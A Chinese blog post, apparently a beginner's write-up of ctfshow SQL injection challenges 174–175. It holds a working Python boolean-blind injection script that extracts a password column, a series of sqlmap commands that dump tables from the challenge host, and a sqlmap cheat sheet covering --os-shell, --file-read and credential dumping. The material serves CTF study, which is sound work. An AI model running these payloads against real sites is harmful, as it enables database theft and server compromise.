ctfshow -- sql注入--新手菜鸡理解篇

前面几关没什么好说的
174开始布尔盲注
http://67e2a069-23a9-4bf4-aa3d-b0ea3763cd98.chall.ctf.show:8080/api/v4.php?id=1
发现注入点

import requests

url='http://5a108e2e-9059-4d80-9d86-af05ad5a7af8.chall.ctf.show/api/v4.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'fengyes','fengno') -- -"%(i,j)

        r=requests.get(url=url+payload).text
        #print(r)

        if 'fengyes' in r:
            max=j
        else :
            min=j

然后我们开始理解一下大佬的脚本,首先我之前很不理解二分法的布尔盲注是怎么样执行的,之后我算了一算第一个字母是c也就是ascii=99
之后开始算为什么这个脚本可以输出最后的答案。
我们可以这么理解 if ‘fengyes’ in r : 代表真
else 代表否
所以最后。。。。
在这里插入图片描述
哎,脑子笨就多算几遍就懂了。这星期刷完sql注入

175

首先找到网站
http://8426e674-8a13-463d-a2fd-d86ba735495f.chall.ctf.show:8080/api/v5.php?id=1
注入点。然后时间盲注,不会写脚本,直接上sqlmap干
注意一点 一定要加上 --random-agent
否则网站会自行忽略你的操作,我一直以为我的sqlmap有问题,看来是我太智障。

sqlmap简介

sqlmap支持五种不同的注入模式:

基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

联合查询注入,可以使用union的情况下的注入。

堆查询注入,可以同时执行多条语句的执行时的注入。

基本格式

sqlmap -u “http://www.target.com/post.php?id=1”    默认使用level1检测全部数据库类型

sqlmap -u “http://www.target.com/post.php?id=1” --dbms mysql --level 3 --risk 3  指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

cookie注入

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” --cookie “id=11” --level 2(只有level达到2才会检测cookie)

从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” --dbms mysql 指定username参数

获取数据库基本信息

sqlmap -u “http://www.target.com/post.php?id=1” --dbms mysql --level 3 --dbs    查询有哪些数据库

sqlmap -u “http://www.target.com/post.php?id=1” --dbms mysql --level 3 -D test --tables   查询test数据库中有哪些表

sqlmap -u “http://www.target.com/post.php?id=1” --dbms mysql --level 3 -D test -T admin --columns   查询test数据库中admin表有哪些字段

sqlmap -u “http://www.target.com/post.php?id=1” --dbms mysql --level 3 -D test -T admin -C “username,password” --dump    dump出字段username与password中的数据

其他命令

–is-dba     当前用户权限(是否为root权限)

–dbs       所有数据库

–current-db     网站当前数据库

–users     所有数据库用户

–current-user   当前数据库用户

–random-agent     构造随机user-agent

–passwords     数据库密码

–proxy http://local:8080 --threads 10  (可以自定义线程加速) 代理

–time-sec=TIMESEC DBMS    响应的延迟时间(默认为5秒)

–batch      自动选择

–roles     列出数据库管理员角色

–sql-shell     运行自定义的sql语句

–os-cmd、–os-shell     运行任意操作系统命令

–file-read     从数据库服务器中读取文件

–file-write –file-dest     上传文件到数据库服务器中

-v     是sqlmap详细输出级别 等级3会显示payload

–hostname  查看目标主机名

–delay 1(1秒) 表示延时1秒进行注入,1可根据自己情况更改

**下面开始payload

sqlmap -u “http://8426e674-8a13-463d-a2fd-d86ba735495f.chall.ctf.show:8080/api/v5.php?id=1” --random-agent
sqlmap -u “http://8426e674-8a13-463d-a2fd-d86ba735495f.chall.ctf.show:8080/api/v5.php?id=1” --random-agent --dbs
sqlmap -u “http://8426e674-8a13-463d-a2fd-d86ba735495f.chall.ctf.show:8080/api/v5.php?id=1” --random-agent -D ctfshow_web --tables
sqlmap -u “http://8426e674-8a13-463d-a2fd-d86ba735495f.chall.ctf.show:8080/api/v5.php?id=1” --random-agent -D ctfshow_web -T ctfshow_user5 --columns
sqlmap -u “http://8426e674-8a13-463d-a2fd-d86ba735495f.chall.ctf.show:8080/api/v5.php?id=1” --random-agent -D ctfshow_web -T ctfshow_user5 -C"username,password" --dump**

最后flag

在这里插入图片描述
在这里插入图片描述

sqlmap可能跑的比较慢但是很可靠,时间盲注的脚本不知道为什么我的python跑不出来。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值